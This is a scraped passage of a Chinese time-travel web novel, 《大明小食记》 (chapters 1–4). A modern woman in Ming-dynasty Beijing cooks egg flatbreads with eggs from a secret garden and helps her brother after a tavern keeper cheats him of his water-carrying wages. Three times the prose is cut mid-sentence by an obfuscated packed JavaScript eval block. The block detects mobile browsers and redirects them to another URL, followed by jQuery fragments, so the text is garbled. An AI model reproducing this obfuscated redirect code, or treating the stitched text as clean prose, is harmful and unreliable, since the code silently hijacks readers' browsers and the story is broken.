《大明小食记》 1. 第 1 章 第1章 五更的梆子敲了数声，北京顺天府灵椿坊，各个街巷笼罩在一片昧爽中，四处少有动静。 蓦地，一阵啼哭声打破这份沉寂。 姜至喜从梦中惊醒，思绪尚且恍惚，手已经本能摸索着拍向炕头的襁褓。 可惜效果甚微，她只能支起身子，笨拙地把婴儿抱到怀里，学着旁人似的左右轻晃，费了好些工夫才哄得安静下来。 “二姐醒了？我来看着小妹，你再歇会儿吧。”旁边的珍姐儿听到动静，睡眼惺忪地爬起来。 小姑娘约莫八九岁，因着常年饥馑，显得头大眼圆，只身影瘦小如细苇，在昏暗的晨光下单薄到让人心惊。 姜至喜小心翼翼地将襁褓放回土炕上，摇了摇头：“不了，今天得和大哥去送水。” 一边说着，一边从炕沿木箱上取过自己的衣裳——一件磨得发亮的青布袄子，肘处补丁叠着补丁，里头絮的棉花板结发硬，比之单衣强不了几分。 就这，还是家里最体面的衣裳。 一抬头，瞧见珍姐儿撅着嘴巴，很是不认同的样子，姜至喜顿了顿，补充一句，“陈大夫也说要适当走动，才好让脑中淤血化开。” 听到是陈大夫的话，珍姐儿这才没有阻止。 短短半个月，家中变故已让小姑娘变成惊弓之鸟。 先是军户出身的父亲修城墙时被落石砸死，体弱的母亲忧心成疾，跟着撒手人寰，眼下大姐不在跟前，若二姐再有个三长两短，这日子可怎么熬下去？ 她忍不住叮嘱：“那二姐路上小心些，天还没亮呢。” 姜至喜点点头，掀开草帘走出屋子。 寒风簌簌，裹着细雪扑面而来，冷得姜至喜下意识缩起脖子，将双手藏到袖筒里。 期间难免碰到冻疮，疼得一个激灵。 豆蔻年华的姑娘，艳艳靓丽如花蓓蕾，一双手却似老妪粗糙，指腹肿胀开裂，遍布紫红的肿块，有几处甚至裂开见肉。 饶是姜至喜穿过来七天时日，还是有些无法适应。 比起疼，她更无法忍受每到夜间的痒意，只恨不得让人把手脚挠破。 不过倒也非全无收获，经过这些天的摸索，姜至喜已经大致清楚了自己的处境。 比如她现下所处的时代叫明，就是那个开国皇帝是朱元璋的明。 比如明成祖朱棣早已经迁都北京，传至如今，已经是大明第九个皇帝，弘治皇帝朱祐樘。 知道这一点后，姜至喜着实松了口气。 这位孝宗虽有褒贬，但于政策上，称得上是德义广运、慈惠爱民的好皇帝，自上位后，颁行了一系列新政，惠泽治下百姓。 再说这个身子，名叫姜喜，是灵椿坊南鼓巷军户姜栋牛的二女儿。 古人讲究多子多福，姜家也不例外。 原身今年十五岁，上头还有一个姐姐一个哥哥，底下缀着两个妹妹，本来日子过得就节俭，月前，姜家父母突然撒手人寰，留下五个儿女相依为命，都说没娘的孩子像根草，若是爹娘都没了，过的连草都不如。 原身兄妹本来住的是巷子最里面一户三合院的土坯房，姜父姜母去世没几日，就有其他军户过来，言其家中无有现役的军户，将兄妹三人赶到了另外一处落脚地。 明朝军户实行世袭制度，“军户身死，子孙继役，不许脱免”，常有一户人家世代为军户的情况。姜父是军户，姜洪身为长子继承父亲身份，也是一个军户，不过因为他尚未成丁，只在卫所登记为“幼军”，需待成年后再补役。 这也是那些人嚣张的原因。 卫所断不会为了一个“幼军”大动干戈。 姜家兄妹势单力薄，对方又拿出所谓的“袭职文书”，最后只得忍气吞声搬离旧居。 新的落脚地自然比不得原来的住处，房顶是茅草搭的，四处漏风，院墙塌了大半，剩下那截断垣还不及人腰高。屋里更是破败，连张像样的桌子都寻不见，只在墙角胡乱支了块木板，怎么一个凄惨了得。 原身性子本就孤僻，如此强烈的落差让她变得更加郁郁寡欢，某日半夜偷跑出家门，第二天被人发现倒在河边，后脑袋莫名磕在石头上，撞出了一个血洞。 这无疑对本就艰难的家庭雪上加霜。 姜至喜穿过来的时候，姜家大姐为了给妹妹治病，已自卖为婢。 剩下的兄弟姐妹也没有放弃她，变卖家中物件买药，可那点儿银钱很快耗尽，若非土房属于官府不能买卖，恐怕他们要流露街头了。 姜至喜并非草木，哪里能不触动？ 前几日她头脑昏沉，大部分时间只能躺在床上，无力为之，如今身子逐渐好转，得知姜洪每日需要送水时，当即决定一起出去。 帮忙是一方面，另一方面，她对外面的世界实在好奇得紧，旁人的转述终究不如亲眼所见。 院子里，姜洪正拿着瓠瓢往木桶里舀水，清理桶壁。 京师分内外城，内城毗邻皇城，自古属于钟鸣鼎食之地。 可人一多，吃水就成了难题，且内城的水井多是苦水，甜水井寥寥无几，那些勋贵官宦与富商大贾自不会纡尊降贵亲汲，于是便应运兴起了“挑水”的行当。 姜洪就是一个临时的“挑水夫”。 也是姜家目前唯一的劳动力。 “大哥，我来帮你。” 姜至喜走近了些，忙着干活的高壮少年抬起头，露出一张和姜至喜六七分相像的面庞，只五官更为硬朗，肤色晒得黝黑，瞧着有些唬人。 实际姜至喜知道，原身这位双胞大哥的脾气最为温和。 果不其然，姜洪侧身挡住木桶并没有让她碰，反而憨厚笑道：“今日下雪，东街那边路滑不好走，用过朝食再动身吧。” 他自个儿是不吃的，一般等着晌午回家再用饭，但喜姐儿大病初愈，身子经不得饿。 姜至喜不知姜洪的想法。 可想也明白，送水都是有时辰约定，她今日本就迟了些，哪里还能再耽搁？思忖片刻道：“不如我做点儿吃食拿着，路上得闲时，再与大哥分食？” 喜姐儿醒来后不再消沉，整个人沉稳活泼了许多，姜洪忍不住自责，都是他这个大哥没用，才让妹妹想不开跑出家门。 如今看喜姐儿愿意主动做点儿事，自然不会拒绝。 “行，再煮个鸡子予你自己吃。” 不用姜洪提，姜至喜也是要去厨房看看的。 这些天她躺在床上，一应吃食都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991800|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是珍姐儿给她端到跟前，多为蒸饼和水煮黄豆。 后者不必谈，前者却是用带有麸皮的小麦磨成粗麦面粉，外表粗糙发灰，吃起来口感干硬剌喉，能顶饱但没什么香味可言。 煮鸡子倒是有营养，靠着一日一颗，姜至喜后脑勺的伤口逐渐结痂。 只是每回用饭时，总能瞧见珍姐儿眼巴巴的模样，偏偏小姑娘懂事，一口也不吃！ 姜至喜内里到底是个成年人，不好意思一个人吃独食，打定主意大家平起平坐，而后抬脚踏入厨房。 他们现在住的房子属于军营附属的“营房改造房”，样式低矮拥挤，灶厨更是逼仄。 进门后，率先映入眼帘的是占据大半空间的土坯灶台，灶边堆着些柴火，看着颇为杂乱无章。时间紧迫，姜至喜只快速扫视一圈，便找到垂落的麻绳，将挂在房梁箢篼缓缓降下。 箢篼就是木编篮子，经劈篾、编织而成，椭圆浅口框，类似于后世的“竹簸箕”，里面存着这个家里所有的吃食。 一麻袋的粗麦面，大概三斤左右；半袋干瘪的黑豆，一小袋带壳糙米和两颗鸡子。 灶台旁放着油罐，几个调料罐，都是姜母先前置办的，如今已所剩无几。她拿起来闻了闻，是豆腥味明显的豆油，寻常人家只作点灯用，只有日子艰难的苦百姓才会食用。 姜至喜忍不住叹了口气。 即便她厨艺还算不错，可巧妇也难无米之炊啊。 只能在有限的条件里，尽可能的量力而为。 思及此，姜至喜悄悄往门外瞥了一眼。 姜洪正忙着刷洗木桶，并未注意这边。她突然背过身去，心念一动，几乎顷刻间，右手手心便凭空出现了两个圆滚滚的鸡子！ 倘若有其他人在，肯定会被凭空取物的本事所震惊！ 这其实是姜至喜最近才发现的秘密。 上辈子她和大多数人一样，按部就班读书上学，毕业后进入一家国企当设计师，哪知后面因工作强度大身体出了问题，这才辞职回了老家。 她自幼父母离异，相依为命的奶奶也在大学毕业那年去世，好在奶奶留下了一间老屋。她将老房子收拾妥当，又在后院开垦了片菜地，养鸡种菜，偶尔出门摆摊，拍些田园生活的视频，日子倒也自得其乐。 穿越那日，姜至喜为了抓从鸡笼里逃出来的芦花鸡，一个不慎撞到栅栏，再睁眼时，不仅人来到了这个陌生的世界，连带着她的“半个”小菜园也跟了过来。 之所以是半个，是因为菜园缩水成一平大小，如今这块恰好是菜园入口的畦埂，泥土早就开垦过，种着一簇小葱；另一旁的边角则搭着个干草鸡窝。 进去也方便，只要默念就能“看到”里面的样子。 姜至喜观察了几日，发现里面时间流速似乎和现实不同，气候宜人，种下的菜不用伺候便自动生长。 而且只要她不摘，那些蔬菜会永远停留在最新鲜的状态！ 这次，姜至喜就是从菜园的鸡窝里偷偷摸出两个鸡子。 嗯，两个鸡子和六个鸡子应该没什么太多区别。 既然已经拿了鸡子，索性又从菜垄边拔了根嫩绿的小葱，盘算着现有的食材，姜至喜决定做个简单的香煎鸡子水饼。 2. 第 2 章 第2章 粗麦面多麸皮，磨成的面粉带着粗糙感，所以一勺麦粉要加三勺清水稀释，同时用筷子搅拌，速度一定要快，这样面粉才不会结疙瘩。 调味一点点盐即可，姜至喜把取出来的小葱洗干净，放在案板上备用。 刀工好的人厨艺不一定好，但厨艺好的人，往往有一手出神入化的刀工。 只见姜至喜手起刀落，那翠绿的小葱好似自个儿往刀下跑似的，顷刻间变成段段水嫩碎玉丝。 趁着醒面的机会，姜至喜又把“二”变“六”的鸡子全部磕破。 白透的鸡子液包裹着黄澄澄的“鸡子心”，好似艳阳天头顶的日子，也不需搅拌，直接磕进面盆里，蛋液如瀑布般倾泻而下，与灰黑色的面糊交融在一起，达到你中有我，我中有你。蛋液粘稠，使得粗麦面糊变得柔韧绵密。 端看颜色，灰白黄绿，霎是漂亮。 接下来便是起锅烧油。 多亏在乡下生活的日子，此刻姜至喜用起柴火灶也得心应手。 手一抖，冷油进了热锅，俗话说，想要饭菜香，油盐不能省，望着空掉一半的陶罐，姜至喜有些心虚，但很快又说服自己，身体才是个革命本钱，吃不饱怎么能赚钱呢！ 于是那只手又不客气地抖了抖。 时下锅有土锅和铁锅，姜家这口铁锅径长二尺，大概是后世的六十四厘米，厚约二分，边缘与灶口严丝合缝，附带两个锅耳，可以满足一家人的日常需求。 待油热之后，她舀起一勺蛋面液顺着铁锅壁转着圈滑下，正好滚成一张完整的饼，饼面薄如蝉翼，油光宣软，翻个面就能熟透。 姜至喜动作麻利，不到一刻钟就烙出十几张饼子。 可惜家里没有黑芝麻，否则撒上一层，金黄蛋皮衬着点点芝麻，既好看又增香。 她把做好的饼子对折再对折，叠成整齐的三角块放进布包里晾着——没办法，姜家也没有放食物的提盒。 这边收拾妥当，哪知一扭头踏出厨房，就看到姜洪和珍姐儿站在院子中四处张望的样子。 “你们这是？”她疑惑地唤了声。 姜洪回过神，讪讪地收回视线。不知是谁家在做菜，香气竟飘得这么远。 转而想到喜姐儿今天第一次下厨，哪有当着妹妹面夸别人手艺的道理？他硬生生压下馋虫，把溜到嘴边的赞叹咽了回去。 反倒是珍姐儿，眼睛直勾勾盯着姜至喜手中的布包，鼻翼微微翕动，不知是否错觉，她怎么感觉香味更加浓厚了？ “二姐，你拿的是什么？” 终于，小姑娘忍不住了，开口询问。 姜至喜见两人的模样，想着也不差这一时半刻，便将布包往前递了递：“这是香煎鸡子水饼，用粗麦面和鸡子、葱花烙的，要不要尝尝？” 姜洪不自觉地咽了口唾沫。 离得近了，那香气越发浓郁，金黄软糯的饼面上还泛着油光，原来如此诱人的味道竟是出自自家！ 可他还是强迫自己移开目光，粗糙的手磨着衣角，老老实实道：“那鸡子是给你养身体的，我们不吃。” 一旁的珍姐儿闻言，眼里的光逐渐变得黯淡，她恋恋不舍地看了眼布包，小脑袋耷拉下来，声音闷闷的：“二姐，你自己吃吧。” 姜至喜心里叹了口气。 放在几日前，无论如何她也想不到自己会因为几颗鸡蛋而推让，面上故作为难：“鸡子我已经和进面里，怕是挑不出来，再说这水饼凉了不好吃，到时候只能丢掉……” 珍姐儿猛地抬起头，一脸不可置信：“真给我们吃？” “不吃那扔掉？” “吃！” 珍姐儿顿时笑咧开嘴，见大哥没有反对，迫不及待伸手去抓。 刚出锅的水饼还烫着，毫无疑问珍姐儿被烫到了，但又舍不得松手，只好捏着耳垂直摇头跳脚。幸而冬日清晨寒气重，水饼很快就凉下来，这才啊呜一口咬下去—— 第一反应是软，非常软！ 薄薄的一层，牙齿轻而易举碰到一块儿，珍姐儿“哇”了声，她从不知道粗麦粉竟能这般软和，不是硬邦邦剌嗓子的粗糙，面皮蓬松柔嫩，裹着鸡子的鲜，葱花的清。 那葱花切成了豆大的碎，葱绿和葱白各自掺半，本是微呛的口味，随着面饼被滚热的灶锅熥熟，呛味儿消失只剩菜香，一口下去，嫩劲儿十足。 更不用说鸡子饼表面吸饱了豆油，嫩黄变成金黄，乍一看，油香水润，比金子还要漂亮，对于缺少油水的姜家人来说根本不可能难吃，轻轻一抿，水饼便于嘴里“化开”，比舌头都要绵滑三分。 “好好吃！” 小姑娘眼睛都亮了。 人在饿的时候，恨不得给什么吃什么，鸡子水饼这般美食，带来饱腹感的同时，心情也得到极大的慰藉。 珍姐儿脑袋欢快摆动，一边吃还要一边夸赞：“二姐，你做的这个什么鸡子水饼真好吃，比肉好吃！” 姜至喜噗嗤笑出声：“哪里就比肉好吃了？” “就是比肉好吃。”实际上，珍姐儿早就忘记肉是什么味道了，哪怕姜父姜母在的时候，姜家也不是顿顿吃肉，只有逢年过节才能吃上一次。 所以在珍姐儿心中，姜至喜做的香煎鸡子水饼就是最好吃的东西。 另一边，见妹妹已然开吃，姜洪也不再犹豫，伸手拿起一张饼。 到底是半大小子，虽然还没成丁，吃相却比珍姐儿粗犷得多，直接把巴掌大的鸡子水饼再对折，三两下作态塞进嘴里。 爆锅后的葱花香气扑鼻，入嘴少了呛味，鸡子打散，白与黄交融一体，香煎过后更为醇厚油美。数九寒天的晨风里，这样一个热乎乎的饼子下肚，姜洪只觉得浑身都暖和起来。 喜姐儿什么时候做饭这么好吃了？ 念头一闪而过，他也没多想。毕竟之前的喜姐儿从未下过厨，说不定天生就有这本事呢。 像那些官老爷似的，生来便会读书认字。 他继续大口大口吃饼。鸡子饼薄薄一片，叠两三层，软绵之中间时有突起的碎粒，是葱花的点缀，吃着吃着，不由自主就追寻那点儿金中的翠绿，等反应过来，手中只剩下空气，并五根油光锃亮的手指。 赶紧嗦嗦手指，不放过一丁点儿。 “可惜小妹还没长牙，吃不到这么香的饼子。”珍姐儿同样舔舔手指，往屋里瞅了一眼，语气充满惋惜。 姜洪点点头，甚至有些感同身受，早知道就别吃那么急了，他都来得及体会其中滋味！ 正懊恼间，眼前忽然又出现一张金黄油亮的饼子，抬头一看，姜至喜笑吟吟地望着他：“水饼有很多，大哥可以慢慢吃。” 十五岁的少年挠挠头，黝黑的脸露出一个不好意思的笑容。 兄妹三人你一张我一张，十几张水饼眨眼便下去了半数。 最后，还是姜至喜看了眼天色及时制止：“送完水再吃吧。” 剩下的饼子，给珍姐儿留下两张，其余三张用布包好放到车上。 肚子里有了热食垫着，推着车子走得格外轻快，姜洪每走几步就忍不住摸一摸车上的布包。 好不容易到达挑水的水井，闻着葱香，少年提桶的动作都比平日利索了许多。 姜至喜可不知道自己烙的鸡子水饼还有这般效用。 出了门，她的注意力就被四周所吸引。 灵椿坊位于内城西北部，北临安定门，南至新街口，地域广阔。 其中靠北的住户多为军户和匠户。草屋相连，巷陌泥泞，少有几家杂货铺、馒头铺，最多的还是药铺和跌打医馆。 可谓是找准了“客户群体”。 不过这种情况从南鼓街巷走出来，并入宽敞的安定门大街后，有了改变。 入眼低矮住宅减少，逐渐从草屋棚户过度为结实整齐的砖瓦房，两边牌匾高达三丈有余，用以斑竹镶嵌，上刻牛羊驴等诸形象。 街上也热闹起来，三三两两行人来往于道，店铺迎着晨光敞开大门做生意；贴着墙根则摆着许多灵活摊位，布棚高张，纵横夹道，内容从皮货衣裳，到刀剪陶瓷、纸花玩物，应有尽有。(1) ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991801|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜至喜着重观察了一下那些朝食小吃。 种类繁多，打眼一瞧，就有蒸饼汤饼、扁食馉饳饼、油炸桧豆腐脑、季节特供的姜汤烤芋头，热腾腾的羊汤，一碗下去浑身冒薄汗，好不畅快。 行至一家酒肆，酒肆门外挂着面酒旗，门侧两块狭长长匾，姜至喜定眼一瞧，上面写着：“天下第一酒馆，四时应饥食店。” 她噗嗤一下笑出声。 原来古代也有打广告一说啊。 姜洪见妹妹发笑，不由出声询问，姜至喜说出自己觉得好笑之处，哪知少年诧异地看了她一眼：“咱们巷里住的大多是军户，其他地方却不是，往南走，靠近顺天府衙的地方有很多官员和大户人家，譬如这次订水的地方便是南街岳峰酒楼的刘掌柜。” 又道：“之前你和大姐不是来过南街吗？难道忘记了？” 闻言，姜至喜暗道一声糟糕，一时激动竟忘了自己与原身的不同。 表面不动声色摇摇头：“我只顾得看路边的小食和杂耍，哪里会注意牌匾，许是看得多了，今日才能做出水饼。” 原来竟是这个原因！ 姜洪恍然大悟。 喜姐儿性子活泼，每次出门都跑头里，把他们远远甩在后面，想来不会留心这些细节。 当即豪气地拍拍胸膛：“等结了月钱，大哥给你和珍姐儿买肉吃！” 见姜洪不再多问，姜至喜松了口气。如此算是把会做饭的事情过了明路。 只是心里却提醒自己谨言慎行，不能再露出破绽。 两人推着装满水的独轮车，颇为吃力地来到岳峰酒楼。 作为灵椿坊最大的酒楼，岳峰酒楼气派非凡，二层高的朱漆楼阁飞檐翘角，门前挂着大红灯笼，里头小二吆喝声不断。 他们送水不能走正门，而是从旁边一处小道，绕到酒楼后面。今日正巧是月底，刘掌柜检查完水后，把余下的工钱结给姜洪。 后者低着头，一枚一枚仔细清数，数完觉得不对又倒回去重数了一遍，这才犹豫着开口：“刘掌柜……您莫不是记岔了？小的这半月天天来送水，按数该是三百文，这儿只够二百五十个铜板。” 刘掌柜脸色瞬间耷拉下来，指着卸下来的水桶道：“你自己看看，每回送来的水都少了半指，还敢要足数？” 姜洪力气虽大，但他刚做这活计，推水缺点儿巧劲，行走的时候难免会有水晃荡出来：“可，可小子问过其他挑水夫，漾出来的水属于正常量。” 刘掌柜却不耐地把荷包扔地上：“就这些，爱要不要，还有，下个月别来了，我这不用你送水！” 说完哐当一下关了后门。 他这副态度，是人始料未及的，姜洪脸憋得通红，脖间青筋直跳，细看眼底还透着几分焦急。 他在原地僵了好一会儿，抹了把额头的汗，从刚领的月钱里数出十文钱塞给姜至喜，硬是挤出一个笑：“喜姐儿，你先买肉回家，珍姐儿那个馋鬼肯定等不及了。” 姜至喜抬起眸子：“大哥，那你呢？” 姜洪眼神往旁边飘忽：“我，我再去找刘掌柜说说情，兴许他能回心转意。” 姜至喜摇了摇头：“他不会答应的。” 见姜洪不解，姜至喜径直走到旁边卖糖炒栗子的小摊前打听：“敢问小哥，最近岳峰酒楼可有什么大事？” 那小哥听了全程，了解其中内幕，同情地看了一眼两人：“前几日有井匠过来，酒楼打了口甜水井。” 这话像一块石头，猛地砸进姜洪脑子里，砸得七荤八素，嗡嗡作响。 原先这附近只有一口苦水井，岳峰酒楼用水量大，一直是买水喝，如今打出了甜水井，刘掌柜还会需要他这个挑水夫吗？ 姜洪很想点头，可张了张嘴，最后一句话也没有说出来。 他不如妹妹聪明，但也不是傻子，若刘掌柜还想用他，今日不会故意做出这一遭。 但就是因为如此，姜洪才感到迷茫无措。 这份活计是他好不容易才寻来的，若是真丢了，接下来家里可怎么过活？ 3. 第 3 章 第3章 回去的路上，气氛有些沉闷。 姜洪因为弄丢了挑水的活，满心羞愧，低着头一言不发。 姜至喜同样神色凝重，不过她心里另有打算：“我看那个刘掌柜不像好相与的，若是勉强留下，往后指不定还要生出什么旁的麻烦。” 来之前，姜至喜特意了解过挑水夫的行当。 京师内城挑水夫众多，年轻力壮的汉子只要肯卖力气，日子总该过得去，但事实上，大部分挑水夫生活拮据，家里人口少的，勉强能糊口；若是上有老下有小，亦或者被雇主苛扣，那点儿钱本不够嚼用。 人力贱是一方面，另一方面，行业内挑水夫与井主的分成高达四六分，譬如姜洪一日里要往返五趟，每车水卖得四文钱，统共挣二十文。 乍听似乎不少，可这里头先要剥去六成给井主，落到姜洪手里的不过四成。今日领的二百五十文钱里，就有一百五十文都进了井主的腰包。 而原身喝一次药，需要二十文钱。 姜洪挑了半个月的水，最后只够给原身买几次药，剩下的银钱勉强买了些粮食，才让兄妹三人没饿死。 何况挑水属于力气活，最是伤身体，姜至喜原本就打算让姜洪辞了这份工作。 “天无绝人之路，以大哥的能力，肯定能谋到更好的生计。” 她的声音不算大，却带着种莫名的笃定。姜洪望着喜姐儿清亮的眼睛，蒙在心头的焦躁逐渐散去，他一个当大哥的，竟然还不如妹妹想的明白！ 眼眶微微发涩，心里头却暖烘烘的，他用力点了点头：“哎，大哥信你。” 再抬脚，结实的脊背比刚才挺直了许多，左右自己还有一身力气，大不了去码头抗麻包，无论如何，自己都要撑起这个家，不再让妹妹们受苦。 出门前，家里米缸已然见底，兄妹俩没有着急回家，而是推着车子转道去了粮铺。 车轮碾过青石板路，发出吱呀轻响，刚转过街角，一辆马车突然从正中央的道路上疾驰奔来。 见状，二人忙推着车子闪到路边。 可他们虽避开了，离得近的百姓却来不及躲闪。 一个举着糖葫芦的小商贩被吓得僵在原地，眼睁睁看着马车直冲而来。周围百姓惊呼出声，有人捂住眼睛，不忍再看。 千钧一发之际，那驾马的掌鞭儿低喝一声，凭借着双臂的力量拽住缰绳，双腿死死抵住车辕，整个身子几乎悬空后仰，最后居然硬是靠着蛮力将马头拽偏！ “轰——” 马蹄高扬落于旁边，激起一阵翻滚尘土，见状，瘫坐在地上的商贩两腿发软，脸色煞白，显然还没从惊吓中回神。 “老天保佑，幸好没出事。” “这是谁家的车马？竟敢在内城街巷里纵马狂奔，不要命了吗？” “祖宗，快小声些！能在内城骑马的，哪会是寻常人？！” “嘶~我瞧那马的凶劲，方才若落在人身上，只怕筋骨都要踏碎。” 姜至喜也暗自松了口气。如今的医疗条件不比后世，若真被马踩中，不死也要落个终身残疾。 眼见危机解除，她无意多待，叫上姜洪准备离开。 那边，轿子经方才一番颠簸，里面的人撞得头晕眼花，哎哟哎哟叫个不停。一个油纸包从车里滚出来，骨碌碌滚到路边。 姜洪推着独轮车，压根没有注意脚下，待反应之时，已经“啪叽”一声，履底结结实实踩在了油纸包上。 与此同时，轿子里钻出个绯袍老者。 老者约莫六十上下，身上衣袍褶皱缭乱，梁冠更是歪斜地挂在发髻上，模样颇为滑稽。他眯着老花眼满地找东西：“聘之！可瞧见老夫的朝食？” 被叫做聘之的掌鞭儿安抚完马匹，闻声抬起头。 众人这才发现对方竟分外年轻，瞧着不及弱冠年岁。 长得也格外精神。眼间点墨，唇红齿白，俊朗的脸庞尚带着点儿肉感，只见对方表情平静，慢悠悠解开荷包，从荷包掏出糖块喂给仍旧躁动的马儿：“什么？” “煮鸡子啊。”老者捶胸顿足，虽然老妻煮的鸡子经常生不生熟不熟，可那可是鸡子啊！要一文多钱呢！ “哦。”少年顺手一指，“被踩烂了。” 老者浑浊的目光顺着指引看过去，然后就和姜家兄妹俩对上了视线。 姜洪：“……” 姜至喜：“……” 她就说不能看热闹吧。 老者倒是个好脾气的，见踩碎自己水煮蛋的是两个半大孩子，眉头皱起又松开，最后无奈摆摆手：“罢了罢了，你们且去吧。” 如此，姜至喜反而过意不去了。 她见老者行色匆匆，又为那枚水煮蛋心疼不已，想来对方是赶着去办要紧事，连朝食都顾不上吃。如今鸡子没了，怕是要空着肚子赶路。 姜至喜迟疑了下，终还是从车上取下布包：“老人家，踩坏了您的朝食实在抱歉，这鸡子水饼是今早新烙的，您若不嫌粗陋，权当赔个不是吧。” 老者原本打算认栽，未料到会有人向自己“赔礼”。 他不由仔细打量眼前人，瞧着是个普通人家的小娘子，穿着青衲布袄子，腰束带结巾，上有补丁，虽面带菜色，却掩不住眉目间的灵秀之气。 而且对方眼神清明透亮，不像认识自己的样子。 至于另外一个男娃，老者嘴角抽了抽——怪哉，他竟从那男娃脸上看出几分小媳妇似的委屈？ 饼子既已送出，之后对方是吃是扔，姜至喜对此并不在意。 她自觉问心无愧，反倒是一旁的姜洪郁闷不已，活像只被抢了食的猫儿。 姜至喜瞧着好笑：“大哥若喜欢，等回去再给你做。” 闻言，姜洪眼睛一亮，反应过来，很是不好意思地挠了挠后脑勺：“那待会儿需要什么，喜姐儿尽管开口！” “这可是大哥你说的。” “那是自然！” 不用去旁处，南街便有粮食铺。 兄妹二人在外面观察了半晌，拣了家铺面最宽敞的走进去。 弘治年间的粮食主要还是稻麦黍稷，其中北方气候适合种麦，粮铺中的麦子种类最为丰富，价钱从两文到十几文不等。 姜洪一一问过价钱，最后买了八斤粗麦面，两斤中等米，共花费四十四文。 他把粮食倒入从家里带出来的布袋，为了防止颠簸，扎紧口后余出来的结顺势绑在了独轮车两侧。思考片刻，又转到城墙根下，从外城来的樵夫那儿买了一担柴火。 冬日的柴价比平日贵了十文，一担要三十文钱。可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991802|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比起炭火来说，还是便宜许多。 这么一会儿的功夫，刚到手的月钱就见了底。 姜洪顿时肉疼不已，小心翼翼把剩下的十文塞进襟下袋中，刚嘱托樵夫把柴装上车，余光一扫，便瞥见姜至喜站在猪肉摊前发呆。 自打爹娘遭难，家里已是许久未见荤腥。想到两个妹妹越发瘦削的样子，姜洪心一横，又把收起来的十文钱掏出来：“店家的，割一斤肥肉！” 转头问姜至喜：“喜姐儿还想吃什么，大哥给你买。” 回过神的姜至喜听到姜洪的话，颇有些哭笑不得。 虽说现下这个营养不良的身体的确很馋肉，但她方才驻足真的不是因为嘴馋啊。 只是碰巧听到路人闲聊，一老妇言说让儿媳去买肉，结果儿媳竟拎了只鸡回去，气得老妇直骂对方不会持家，惊觉古代的鸡肉竟比猪肉还要金贵些。 转而一想，又能理解。 鸡鸭的大规模工业化养殖，其实是到近现代才得以实现的，明代养殖技术尚未达标，禽畜主要依靠土法散养，既无疫苗防疫病，也无饲料催长，存活率远不如猪； 其次，鸡需要吃粮才能长肉，投入成本高，反观猪属于杂食养殖。这样一来，鸡肉价格比猪肉高，也就不奇怪了。 至于蔬菜—— 更是买都买不起。 没错，是“买不起”并非“买不到”。 如今冬季也有新鲜蔬菜，俗称洞子货，属于高端蔬菜，主要供给一些高门大户和酒楼食肆。 普通老百姓根本不敢惦记，平日里靠着地窖里储藏的菘菜赤根度日，亦或是提前做好的菜干和腌菹。 如此一想，姜至喜遗憾自己的菜园实在太小，也不知道以后能不能再扩大些。 回归当下。 眼见“爱妹心切”的姜洪真要买肥猪肉，她连忙拉住对方：“大哥若是买肉，不如买对猪蹄吧。” 说罢指向摊子角落堆放的猪蹄，因为未处理，黑硬的猪毛支棱朝天，表面沾着些未刮净的血渍，着实有些埋汰。 何况猪蹄骨多肉少，尽是皮和肉筋，即便价钱只有净肉的一半，也鲜少有人愿意买来吃。 姜洪一愣，还以为妹妹是舍不得：“放心，大哥有钱。” 姜至喜摇了摇头：“不是，是我真的想吃猪蹄，而且一斤肥肉十三文，一对猪蹄不过才十文，够咱们炖一大锅了。” 里面还能放菘菜、赤根菜，或者和黄豆一起焖，想到上辈子吃过的黄豆焖猪蹄，姜至喜只觉口生津液，恨不得立刻吃到嘴里才满足。 那可是猪蹄啊，满满胶原蛋白，一口下去软黏黏，糯叽叽，放在上辈子，鲜肉店里的猪蹄都是抢着买的！ “对了，顺便再买点儿黄豆回去。” 姜至喜计划做一道黄豆焖猪蹄，而且就在方才，她突然想到一件事情。 她那个跟着穿过来的菜园虽然空间小了点，但温度湿度正符合洞子货的生长条件，她完全可以把炖猪蹄剩下的黄豆放进去，发成黄豆芽！ 豆芽有了，拿去卖，便是现成的本钱。 姜至喜越想越欣喜，脚步轻快地和姜洪回了家，结果前脚兄妹二人刚拐进巷子，后脚就瞧见一穿红戴绿的妇人扒在他们家大门上，隔着破损的院墙，鬼鬼祟祟地往里面张望…… 4. 第 4 章 第4章 “李大娘？” 姜洪认出了来人，愣了愣，眼里闪过一丝茫然，像是没弄明白对方怎么会在在家门口：“你……这是做啥？” 被叫做李大娘的婆子尴尬地从院墙上缩回身子，随后表演了一个原地变脸，只见她脸上堆起热情的笑容：“哎哟，洪哥儿回来啦？我正找你呢！” 